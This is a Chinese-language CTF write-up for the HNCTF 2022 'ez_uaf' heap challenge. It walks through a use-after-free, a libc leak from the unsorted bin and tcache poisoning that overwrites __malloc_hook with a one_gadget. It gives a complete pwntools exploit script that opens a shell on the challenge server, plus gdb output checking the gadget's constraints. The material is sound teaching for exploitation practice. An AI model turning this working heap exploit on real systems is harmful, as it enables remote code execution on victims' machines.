[HNCTF 2022 WEEK4]ez_uaf
UAF + show 泄露 unsorted bin 地址 + libc base 计算 + tcache poisoning + 劫持 __malloc_hook + 写入 one_gadget + 触发 malloc getshell
ubuntu@niuyingying:~/ctf/pwn$ patchelf --set-interpreter /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so ./ez_uaf
ubuntu@niuyingying:~/ctf/pwn$ patchelf --replace-needed libc.so.6 /home/niuyingying/ctf/pwn/libc-2.27.so ./ez_uaf
ubuntu@niuyingying:~/ctf/pwn$ checksec ./ez_uaf
[*] '/home/niuyingying/ctf/pwn/ez_uaf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
保护全开,依旧菜单题
int add()
{
__int64 v1; // rbx
int i; // [rsp+0h] [rbp-20h]
int v3; // [rsp+4h] [rbp-1Ch]
for ( i = 0; i <= 15 && heaplist[i]; ++i )
;
if ( i == 16 )
{
puts("Full!");
return 0;
}
else
{
puts("Size:");
v3 = getnum();
if ( (unsigned int)v3 > 0x500 )
{
return puts("Invalid!");
}
else
{
heaplist[i] = malloc(0x20u); // heaplist[i] = malloc(0x20)
if ( !heaplist[i] )
{
puts("Malloc Error!");
exit(1);
}
v1 = heaplist[i];
*(_QWORD *)(v1 + 16) = malloc(v3); // *(heaplist[i] + 0x10) = malloc(Size)
if ( !*(_QWORD *)(heaplist[i] + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
*(_DWORD *)(heaplist[i] + 24LL) = v3; // *(heaplist[i] + 0x18) = Size
puts("Name: ");
if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10u) )
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) )
{
puts("Error!");
exit(1);
}
*(_DWORD *)(heaplist[i] + 28LL) = 1; // *(heaplist[i] + 0x18 + 4) = 1
return puts("Done!");
}
}
}
__int64 delete()
{
__int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( v1 < 0x10 && *(_DWORD *)(heaplist[v1] + 28LL) )
{
free(*(void **)(heaplist[v1] + 16LL));
free((void *)heaplist[v1]);
result = heaplist[v1];
*(_DWORD *)(result + 28) = 0; // *(heaplist[i] + 0x18 + 4) = 0
}
else
{
puts("Error idx!");
return 0;
}
return result;
}
int show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( v1 < 0x10 && heaplist[v1] )
{
puts((const char *)heaplist[v1]);
return puts(*(const char **)(heaplist[v1] + 16LL));
}
else
{
puts("Error idx!");
return 0;
}
}
ssize_t edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( v1 < 0x10 && heaplist[v1] )
return read(0, *(void **)(heaplist[v1] + 16LL), *(int *)(heaplist[v1] + 24LL));
puts("Error idx!");
return 0;
}
这题的思路大致可以描述为,先通过 UAF 搭配 show() 泄露 libc 地址,再搭配 edit() 改写 tcache fd,劫持 __malloc_hook 为 one_gadget
补充一下知识点,如果 unsorted bin 里暂时只有这一个 chunk,那么它的 fd 和 bk 都会指向 unsorted bin 的 bin header
那么
leak = unsorted bin header
= main_arena + 0x60
= __malloc_hook + 0x10 + 0x60
= __malloc_hook + 0x70
这里总结一下常见 x64 版本表
| glibc 版本 | unsorted bin fd/bk 指向 | 常见关系 | libcbase 公式 |
|---|---|---|---|
| glibc 2.23 | main_arena + 0x58 |
main_arena = __malloc_hook + 0x10 |
leak - 0x58 - 0x10 - libc.sym['__malloc_hook'] |
| glibc 2.24 | main_arena + 0x58 |
main_arena = __malloc_hook + 0x10 |
leak - 0x68 - libc.sym['__malloc_hook'] |
| glibc 2.25 | main_arena + 0x58 |
main_arena = __malloc_hook + 0x10 |
leak - 0x68 - libc.sym['__malloc_hook'] |
| glibc 2.26 | main_arena + 0x60 |
main_arena = __malloc_hook + 0x10 |
leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.27 | main_arena + 0x60 |
main_arena = __malloc_hook + 0x10 |
leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.28 | main_arena + 0x60 |
main_arena = __malloc_hook + 0x10 |
leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.29 | main_arena + 0x60 |
main_arena = __malloc_hook + 0x10 |
leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.30 | main_arena + 0x60 |
main_arena = __malloc_hook + 0x10 |
leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.31 | main_arena + 0x60 |
main_arena = __malloc_hook + 0x10 |
leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.32 | main_arena + 0x60 |
hook 已经 deprecated,但一般还在 | leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.33 | main_arena + 0x60 |
hook 还可能有,但不建议依赖 | leak - 0x70 - libc.sym['__malloc_hook'] |
| glibc 2.34+ | main_arena + 0x60 常见 |
__malloc_hook/__free_hook 被移除/不再可用 |
不建议用 hook 公式,要直接用该 libc 的 main_arena 或 unsorted 偏移 |
即
# glibc 2.23 / 2.24 / 2.25
libcbase = leak - 0x68 - libc.sym['__malloc_hook']
# glibc 2.26 ~ 2.33
libcbase = leak - 0x70 - libc.sym['__malloc_hook']
# glibc 2.34+
# 不要依赖 __malloc_hook,直接查当前 libc 的 unsorted bin leak offset
libcbase = leak - unsorted_bin_offset
或者直接在gdb里调试看一下
pwndbg> p/x &main_arena
$1 = 0x7ffff7bebc40
pwndbg> p/x (unsigned long)&main_arena.bins[0] - 0x10
$2 = 0x7ffff7bebca0
pwndbg> p/x ((unsigned long)&main_arena.bins[0] - 0x10) - (unsigned long)&main_arena
$3 = 0x60
即 leak = main_arena + 0x60
还需要知道,tcache bin 是一个单向链表,fd 决定下一次 malloc 返回哪里。当我把某个 tcache chunk 的 fd 改成 __malloc_hook 附近,之后 malloc 就会把 __malloc_hook 当成“可分配 chunk”返回给我写。如果我写进去 one_gadget,下一次再调用 malloc,glibc 会执行 __malloc_hook,于是跳到 one_gadget
ubuntu@niuyingying:~/ctf/pwn$ one_gadget ./libc-2.27.so
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./ez_uaf')
libc = ELF('./libc-2.27.so')
# io = process('./ez_uaf')
io = remote("node5.anna.nssctf.cn",27281)
# io = gdb.debug('./ez_uaf', gdbscript='set pagination off\nbreakrva 0x1549\nbreakrva 0x16D8\nbreakrva 0x1603\nbreakrva 0x1782\nc')
def add(size):
io.recvuntil(b"Choice: \n")
io.sendline(b"1")
io.recvuntil(b"Size:\n")
io.sendline(str(size).encode())
io.recvuntil(b"Name: \n")
io.sendline(b"aaaa")
io.recvuntil(b"Content:\n")
io.sendline(b"bbbb")
def delete(i):
io.recvuntil(b"Choice: \n")
io.sendline(b"2")
io.recvuntil(b"Input your idx:\n")
io.sendline(str(i).encode())
def show(i):
io.recvuntil(b"Choice: \n")
io.sendline(b"3")
io.recvuntil(b"Input your idx:\n")
io.sendline(str(i).encode())
def edit(i,data):
io.recvuntil(b"Choice: \n")
io.sendline(b"4")
io.recvuntil(b"Input your idx:\n")
io.sendline(str(i).encode())
io.sendline(data)
# 0
add(0x410)
# 1
add(0x20)
# 2
add(0x10)
delete(0)
show(0)
io.recvuntil(b"\n")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x60 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x10a2fc
malloc_hook = libc_base + libc.sym['__malloc_hook']
delete(1)
edit(1,p64(malloc_hook))
# 3
add(0x10)
# 4
add(0x20)
edit(4,p64(one_gadget))
io.recvuntil(b"Choice: \n")
io.sendline(b"1")
io.recvuntil(b"Size:\n")
io.sendline(b"16")
io.interactive()
我们来看一下 one_gadget 怎么验证,可以看到
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
这一条 one_gadget 要求 [rsp+0x70] == NULL 或者 [rsp+0x70], [rsp+0x78], [rsp+0x80] ... 这一串内容能被当成合法的 argv 数组
我们在 one_gadget 执行前( ► 0 0x601e151a0782 edit+168 )看一下
RSI 0x713d817ebc30 (__malloc_hook) —▸ 0x713d8150a2fc ◂— mov rax, qword ptr [rip + 0x2e0ba5]
pwndbg> b *0x713d8150a2fc
Breakpoint 5 at 0x713d8150a2fc
pwndbg> c
Continuing.
Breakpoint 5, 0x0000713d8150a2fc in ?? () from target:/home/niuyingying/ctf/pwn/libc-2.27.so
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────
Breakpoint hit at 0x713d8150a2fc
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*RAX 0x713d8150a2fc ◂— mov rax, qword ptr [rip + 0x2e0ba5]
RBX 0
*RCX 0
*RDX 0
*RDI 0x20
*RSI 0x601e151a038f (add+150) ◂— mov rcx, rax
*R8 0x7ffe48daeb82 ◂— 0xa /* '\n' */
R9 0
R10 0x713d8159ebc0 ◂— add al, byte ptr [rax]
*R11 0xa
R12 0x601e151a0160 (_start) ◂— endbr64
R13 0x7ffe48daecd0 ◂— 1
R14 0
R15 0
RBP 0x7ffe48daebd0 —▸ 0x7ffe48daebf0 —▸ 0x601e151a0870 (__libc_csu_init) ◂— endbr64
*RSP 0x7ffe48daeba8 —▸ 0x601e151a038f (add+150) ◂— mov rcx, rax
*RIP 0x713d8150a2fc ◂— mov rax, qword ptr [rip + 0x2e0ba5]
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
b► 0x713d8150a2fc mov rax, qword ptr [rip + 0x2e0ba5] RAX, [0x713d817eaea8] => 0x713d817ee098 (environ) —▸ 0x7ffe48daece8 ◂— 0x7ffe48db0d08
0x713d8150a303 lea rsi, [rsp + 0x70] RSI => 0x7ffe48daec18 —▸ 0x601e151a07cb (main) ◂— endbr64
0x713d8150a308 lea rdi, [rip + 0xa9a79] RDI => 0x713d815b3d88 ◂— 0x68732f6e69622f /* '/bin/sh' */
0x713d8150a30f mov rdx, qword ptr [rax] RDX, [environ] => 0x7ffe48daece8 —▸ 0x7ffe48db0d08 ◂— 'SHELL=/bin/bash'
0x713d8150a312 call execve <execve>
0x713d8150a317 call abort <abort>
0x713d8150a31c call __stack_chk_fail <__stack_chk_fail>
0x713d8150a321 xor edx, edx EDX => 0
0x713d8150a323 mov esi, 2 ESI => 2
0x713d8150a328 mov edi, 1 EDI => 1
0x713d8150a32d xor eax, eax EAX => 0
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe48daeba8 —▸ 0x601e151a038f (add+150) ◂— mov rcx, rax
01:0008│-020 0x7ffe48daebb0 ◂— 0x1000000005
02:0010│-018 0x7ffe48daebb8 ◂— 0
... ↓ 2 skipped
05:0028│ rbp 0x7ffe48daebd0 —▸ 0x7ffe48daebf0 —▸ 0x601e151a0870 (__libc_csu_init) ◂— endbr64
06:0030│+008 0x7ffe48daebd8 —▸ 0x601e151a0834 (main+105) ◂— jmp main+155
07:0038│+010 0x7ffe48daebe0 —▸ 0x7ffe48daecd0 ◂— 1
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
► 0 0x713d8150a2fc None
1 0x7ffe48db1806 None
2 0x7ffe48db1829 None
3 0x7ffe48db1848 None
4 0x7ffe48db186b None
5 0x7ffe48db188d None
6 0x7ffe48db18a1 None
7 0x7ffe48db18b5 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rsp+0x70
0x7ffe48daec18: 0x0000601e151a07cb 0x0000000000000000
0x7ffe48daec28: 0x5829513721f8c2df 0x0000601e151a0160
0x7ffe48daec38: 0x00007ffe48daecd0 0x0000000000000000
0x7ffe48daec48: 0x0000000000000000 0x67e9eab6e918c2df
0x7ffe48daec58: 0x7a6e79870966c2df 0x00007ffe00000000
pwndbg> x/s 0x0000601e151a07cb
0x601e151a07cb <main>: "\363\017\036\372UH\211\345H\203\354\020\270"
pwndbg>
那么可以知道
argv = (char **)(rsp + 0x70);
argv[0] = 0x0000601e151a07cb; // 这个地址可读
argv[1] = NULL;
argv[2] = 0x5829513721f8c2df; // 不会被看到了
argv[3] = 0x0000601e151a0160; // 不会被看到了
即满足条件